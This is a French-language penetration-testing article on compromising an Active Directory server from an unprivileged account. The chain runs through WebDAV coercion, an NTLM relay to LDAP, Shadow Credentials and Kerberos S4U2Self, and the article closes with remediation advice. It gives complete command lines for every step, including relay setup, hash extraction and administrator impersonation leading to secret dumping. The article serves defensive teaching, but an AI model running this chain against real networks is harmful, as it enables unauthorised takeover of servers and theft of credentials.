Le sujet traité dans cet article est une technique permettant de compromettre un serveur au sein d’un environnement Active Directory, à partir d’un simple compte utilisateur sans privilège particulier.
Cette approche s’inscrit dans le cadre d’un test d’intrusion interne, dont l’objectif est de simuler les actions d’un attaquant ayant déjà obtenu un accès au réseau de l’entreprise, que ce soit à la suite d’une intrusion physique, de la compromission d’un poste utilisateur via du phishing, ou encore de la compromission d’un serveur exposé sur internet ayant une interface dans le réseau interne.
En bref, on considère que l’attaquant dispose d’un accès au réseau interne et d’un compte de domaine à faibles privilèges. À partir de là, on va voir comment combiner plusieurs faiblesses de configuration pour élever nos privilèges et obtenir des droits administrateur sur le serveur cible.
Concrètement, nous aborderons le relais NTLM via WebDAV couplé à une attaque de type Shadow Credentials, puis la technique Kerberos S4U2Self pour finaliser la compromission. Une chaîne d’exploitation complète sera détaillée étape par étape.
Prérequis
Avant de pouvoir exploiter cette chaîne d’attaque, plusieurs conditions doivent être réunies dans l’environnement cible :
- Service WebClient actif sur le serveur cible (c’est le service Windows qui gère la fonctionnalité cliente WebDAV)
- Serveur cible vulnérable à la coercition d’authentification (PetitPotam, PrinterBug, etc.)
- Signature LDAP non forcée sur le contrôleur de domaine — c’est le cas par défaut sur toutes les versions de Windows Server antérieures à 2025
- Possibilité de faire un enregistrement DNS dans la zone du domaine (par défaut, tout utilisateur authentifié peut le faire)
WebDAV et authentification NTLM
WebDAV (Web-based Distributed Authoring and Versioning) est une extension du protocole HTTP qui permet de gérer des fichiers à distance comme s’il s’agissait d’un dossier local. Sur Windows, le service WebClient gère cette fonctionnalité côté client et peut servir de solution de repli lorsque SMB est indisponible. Comme WebDAV repose sur HTTP, il utilise les ports TCP 80 et 443.
Dans un environnement Active Directory, l’authentification NTLM reste, encore, très largement utilisée et peut être transportée via différents protocoles : SMB, LDAP, HTTP, etc. C’est justement cette flexibilité que nous allons exploiter : en forçant une authentification NTLM transportée via HTTP (grâce au service WebClient), pour ensuite la relayer vers le service LDAP du contrôleur de domaine.
Pourquoi HTTP comme source et LDAP comme destination ?
Toute l’attaque repose sur la compatibilité des relais inter-protocoles, et le choix HTTP → LDAP n’est pas anodin.
Pourquoi HTTP plutôt que SMB comme protocole source ? Lorsqu’un client Windows s’authentifie via SMB avec NTLMv2, le message NTLM inclut le flag NEGOTIATE_SIGN. LDAP se base sur ce flag pour exiger la signature de session. L’attaquant ne peut ni signer (il n’a pas la clé), ni retirer le flag (le MIC protège l’intégrité du message). Le relais SMB → LDAP échoue donc. Avec NTLMv1, cette protection n’existe pas : le MIC peut être supprimé et le flag retiré, rendant le relais SMB → LDAP possible. Le service WebClient (HTTP) offre une alternative plus universelle : il ne positionne pas ce flag, ce qui permet le relais vers LDAP quelle que soit la version de NTLM utilisée.
Pourquoi LDAP plutôt que SMB comme destination ? Les contrôleurs de domaine requièrent la signature SMB par défaut. Relayer vers le service SMB d’un DC échouera systématiquement. En revanche, la signature LDAP n’est pas forcée par défaut (avant Windows Server 2025). Le DC accepte donc les sessions LDAP non signées.
La combinaison HTTP → LDAP est donc le choix idéal : pas de signature demandée côté source, pas de signature exigée côté destination.
Pour aller plus loin : un tableau complet des compatibilités de relais inter-protocoles est disponible sur The Hacker Recipes.
Le scénario d’attaque
Vous l’avez donc compris, l’attaque démontrée ici repose sur le relais NTLM entre deux protocoles : le protocole HTTP, véhiculé par le service WebClient de la machine victime, et le protocole LDAP sur le contrôleur de domaine, qui par défaut ne force pas la signature de session.
L’absence de signature LDAP fait en sorte que le DC ne vérifie pas que l’entité qui envoie les commandes LDAP est bien la source initiale de la connexion. Ce manque de vérification crée un excellent vecteur de compromission, car il permet le scénario suivant :
1. Coercition HTTP (WebDAV) — L’attaquant force un serveur cible (dont le service WebClient est actif) à initier une authentification NTLM via HTTP vers la machine de l’attaquant. C’est le compte machine du serveur cible qui s’authentifie.
2. Relais NTLM vers LDAP — L’attaquant relaie instantanément cette authentification vers le service LDAP du contrôleur de domaine. Comme la signature LDAP n’est pas forcée et que l’authentification HTTP ne négocie pas de signature, le relais aboutit. L’attaquant obtient alors une session LDAP authentifiée en tant que le compte machine cible.
3. Shadow Credentials + S4U2Self — Via cette session LDAP, l’attaquant réalise une attaque de type Shadow Credentials : il injecte sa propre clé publique dans l’attribut msDS-KeyCredentialLink du compte machine cible. Il peut ensuite s’authentifier via PKINIT pour obtenir un TGT Kerberos, en extraire le hash NTLM du compte machine, et utiliser S4U2Self pour usurper un administrateur local sur la machine cible.
Preuve de concept
Outils utilisés
- NetExec (nxc) — pour l’énumération
- ntlmrelayx.py (Impacket) — pour le relais NTLM
- Coercer — pour la coercition d’authentification
- dnstool.py (krbrelayx) — pour l’enregistrement DNS
- PKINITtools (gettgtpkinit.py, getnthash.py) — pour l’authentification par certificat
- getST.py (Impacket) — pour S4U2Self
Légende
Pour faciliter la lecture, voici les éléments utilisés dans les commandes :
- IP du contrôleur de domaine :
192.168.1.1 - Nom de domaine :
domain.local - Nom du serveur cible :
SQLSRV.domain.local - IP de la machine attaquante :
192.168.1.2 - Identifiants de domaine sans privilèges :
toto:titi - Plage IP du domaine :
192.168.1.0/24
Phase d’énumération
La première étape consiste à identifier les machines dont le service WebClient est actif :
nxc smb 192.168.1.0/24 -u toto -p titi -M webdav
Une fois les hôtes avec WebClient identifiés, on vérifie lesquels sont vulnérables aux techniques de coercition d’authentification (PetitPotam, PrinterBug, etc.) :
nxc smb list_WebDAV_hosts.txt -u toto -p titi -M coerce_plus
Enfin, on vérifie si le contrôleur de domaine force la signature LDAP :
nxc ldap 192.168.1.1 -u toto -p titi -M ldap-checker
À ce stade, si on dispose d’au moins un serveur avec WebClient actif et vulnérable à la coercition, et que le DC ne force pas la signature LDAP, le plus gros du travail est fait et on peut passer à l’exploitation.
Enregistrement DNS
Pour que la coercition fonctionne via WebDAV, la machine cible doit pouvoir résoudre le nom de la machine de l’attaquant et la considérer comme un hôte de la zone Intranet. En effet, Windows n’envoie pas automatiquement les credentials NTLM vers une machine qu’il considère externe, et le format de connexion WebDAV utilise un nom NetBIOS ou DNS (\\SERVEUR@80\chemin), pas une adresse IP.
Deux approches sont possibles pour y parvenir. La première, et la plus fiable, consiste à créer un enregistrement DNS dans la zone du domaine. Dans un environnement Active Directory, tout utilisateur authentifié est autorisé par défaut à créer des enregistrements DNS dans la zone principale du domaine. L’attaquant peut donc enregistrer un nom pointant vers sa propre adresse IP :
dnstool.py -u 'domain.local\toto' -p 'titi' --record Zhack --action 'add' --data 192.168.1.2 192.168.1.1
Vérification de l’enregistrement DNS :
dnstool.py -u 'domain.local\toto' -p 'titi' --record Zhack --action 'query' 192.168.1.1
La seconde approche, plus opportuniste, consiste à utiliser un faux nom NetBIOS et laisser un outil comme Responder répondre aux requêtes de résolution (LLMNR/NBT-NS), associant ce nom à l’IP de l’attaquant. Cette méthode est cependant plus bruyante sur le réseau et dépend du fait que ces protocoles de résolution ne soient pas désactivés.
Exploitation
L’exploitation nécessite l’utilisation coordonnée de deux outils.
Étape 1 — Démarrer le serveur de relais. On lance ntlmrelayx.py configuré pour relayer les authentifications HTTP entrantes vers le service LDAP du DC. L’option --shadow-credentials est essentielle ici : elle indique à l’outil de réaliser automatiquement une attaque Shadow Credentials dès qu’une authentification est relayée avec succès. Concrètement, ntlmrelayx.py va exploiter la session LDAP obtenue pour injecter une clé publique contrôlée par l’attaquant dans l’attribut msDS-KeyCredentialLink du compte machine cible, puis générer un fichier PFX (certificat + clé privée) en sortie. Ce PFX servira à s’authentifier en tant que le compte machine via PKINIT à l’étape suivante.
ntlmrelayx.py -t ldap://192.168.1.1 --no-validate-privs --no-dump --shadow-credentials
Étape 2 — Déclencher la coercition. On utilise coercer pour forcer le serveur cible à s’authentifier auprès de notre machine via WebDAV. Le format Zhack@80/test/t.txt indique au client de la cible d’utiliser le protocole WebDAV (via HTTP sur le port 80) plutôt que SMB :
coercer coerce -d "domain.local" -u "toto" -p 'titi' --listener "Zhack@80/test/t.txt" --target-ip "SQLSRV.domain.local" --always-continue
Si tout se passe bien, ntlmrelayx.py intercepte l’authentification HTTP NTLM du compte machine SQLSRV$, la relaie vers le service LDAP du DC, modifie l’attribut msDS-KeyCredentialLink de SQLSRV$, et sauvegarde le fichier PFX localement.
Obtention du TGT et du hash NTLM
Grâce au fichier PFX, on peut maintenant demander un TGT Kerberos pour le compte machine via l’authentification PKINIT :
gettgtpkinit.py -cert-pfx ZFsf5hP.pfx -pfx-pass QcJFZFDSMWkbEQkicz54r domain.local/SQLSRV$ ZFsf5hP.ccache -dc-ip 192.168.1.1
Puis, à partir de ce TGT, on extrait le hash NTLM du compte machine. Cette extraction est possible parce que, lors d’une authentification PKINIT, le KDC inclut le hash NTLM dans la structure NTLM_SUPPLEMENTAL_CREDENTIAL du PAC :
getnthash.py domain.local/'SQLSRV$' -key 0c8e123ef4b5445e2de5843beba63ed2e3fe3a5f66c1e76facb45946b123a1c -dc-ip 192.168.1.1
Note : la valeur passée au paramètre
-keyest la clé de session AS-REP affichée dans la sortie degettgtpkinit.pyà l’étape précédente. Il suffit de la copier-coller.
S4U2Self : usurper un administrateur local
Une fois le hash NTLM du compte machine obtenu, la dernière étape consiste à utiliser S4U2Self pour obtenir un ticket de service au nom d’un utilisateur disposant de droits d’administration locale sur la machine cible.
S4U2Self (Service for User to Self) est une extension Kerberos qui permet à un compte machine de demander au KDC un ticket de service pour lui-même, au nom d’un utilisateur de son choix, sans que cet utilisateur ne se soit authentifié. Le ticket obtenu n’est utilisable que pour accéder à la machine elle-même et ne permet pas de pivoter vers un autre hôte (ce serait le rôle de S4U2Proxy). Un point notable : S4U2Self fonctionne même pour les comptes sensibles, y compris ceux membres du groupe Protected Users ou marqués comme non déléguables.
getST.py 'domain.local/SQLSRV$' -hashes :adb1e27f12e58b9a1a1fe9c5156f1b44 -altservice cifs/SQLSRV.domain.local -dc-ip 192.168.1.1 -impersonate ADM_titi -self
Le flag -self indique à getST.py d’utiliser l’extension S4U2Self. Le flag -altservice permet de spécifier le SPN du service cible (ici CIFS pour l’accès SMB).
Il ne reste plus qu’à utiliser ce ticket pour se connecter à la machine cible :
export KRB5CCNAME=ADM_titi@cifs_SQLSRV.domain.local@DOMAIN.LOCAL.ccache
nxc smb SQLSRV.domain.local -k --use-kcache
Note : le nom exact du fichier
.ccacheest affiché dans la sortie degetST.py. Adaptez la commandeexporten conséquence.
Avec ce ticket, il est possible d’utiliser des outils comme secretsdump.py, psexec.py ou smbexec.py (avec l’option -k -no-pass) pour obtenir une exécution de commandes en tant que NT AUTHORITY\SYSTEM et extraire les secrets locaux (SAM, LSA).
Si le service CIFS est bloqué ou que ces outils échouent, il est possible de demander un ticket pour le SPN host/ à la place (via -altservice host/SQLSRV.domain.local), ce qui donne accès à d’autres vecteurs comme WinRM ou les tâches planifiées (atexec.py).
Remédiation
Pour se prémunir contre cette chaîne d’attaque, plusieurs mesures complémentaires doivent être mises en place.
Réduire la surface d’attaque côté client
Désactiver le service WebClient sur toutes les machines et serveurs qui n’en ont pas besoin. C’est la mesure la plus directe : sans WebClient, pas de coercition HTTP, et donc pas de relais HTTP → LDAP. Le service peut être désactivé via GPO.
Appliquer les correctifs contre la coercition d’authentification. Microsoft a publié des correctifs pour plusieurs techniques de coercition. Il est essentiel de maintenir les systèmes à jour.
Sécuriser l’authentification côté domaine
Forcer la signature LDAP sur les contrôleurs de domaine. C’est la mesure la plus impactante contre cette attaque. Lorsque la signature LDAP est requise, toute session LDAP dont les messages ne sont pas signés avec la clé de session NTLM est rejetée. L’attaquant, n’ayant pas accès à cette clé, ne peut pas signer les messages relayés.
Activer le channel binding LDAP (EPA — Extended Protection for Authentication). Ce mécanisme lie l’authentification NTLM au canal TLS sous-jacent en intégrant un jeton (Channel Binding Token) dérivé du certificat du serveur. Lors d’un relais, l’attaquant ne peut pas fournir un CBT valide puisque le canal TLS aboutit à sa machine et non au serveur légitime. Cette protection est particulièrement efficace contre le relais vers LDAPS.
Migrer vers Kerberos et réduire l’utilisation de NTLM. Kerberos est intrinsèquement résistant aux attaques de relais car l’authentification est liée au service cible (via le SPN). Microsoft recommande de préparer la désactivation de NTLM, qui est un protocole hérité, dans les futures versions de Windows.
Restreindre la création d’enregistrements DNS. Limiter les permissions de création d’enregistrements DNS dans la zone du domaine aux seuls comptes qui en ont besoin réduit la capacité d’un attaquant à enregistrer un nom pointant vers sa machine.
Conclusion
Ce scénario de compromission illustre comment, à partir d’un simple compte de domaine sans privilège, il est possible de compromettre un serveur et d’y obtenir des droits administrateur. La chaîne d’exploitation repose sur l’enchaînement de plusieurs faiblesses de configuration courantes : un service WebClient actif, une vulnérabilité de coercition non corrigée, et surtout une signature LDAP non forcée sur le contrôleur de domaine.
Les étapes clés sont : identification d’un serveur avec le service WebClient actif et vulnérable à la coercition, enregistrement DNS, coercition de ce serveur vers la machine de l’attaquant via WebDAV, relais de l’authentification NTLM vers le service LDAP du DC, injection de Shadow Credentials, puis utilisation de S4U2Self pour usurper un administrateur et obtenir un accès complet à la machine cible.
La bonne nouvelle, c’est que la remédiation est connue et accessible : forcer la signature LDAP et le channel binding, désactiver WebClient là où il n’est pas nécessaire, et maintenir les systèmes à jour. Des mesures simples qui, combinées, neutralisent l’intégralité de cette chaîne d’attaque.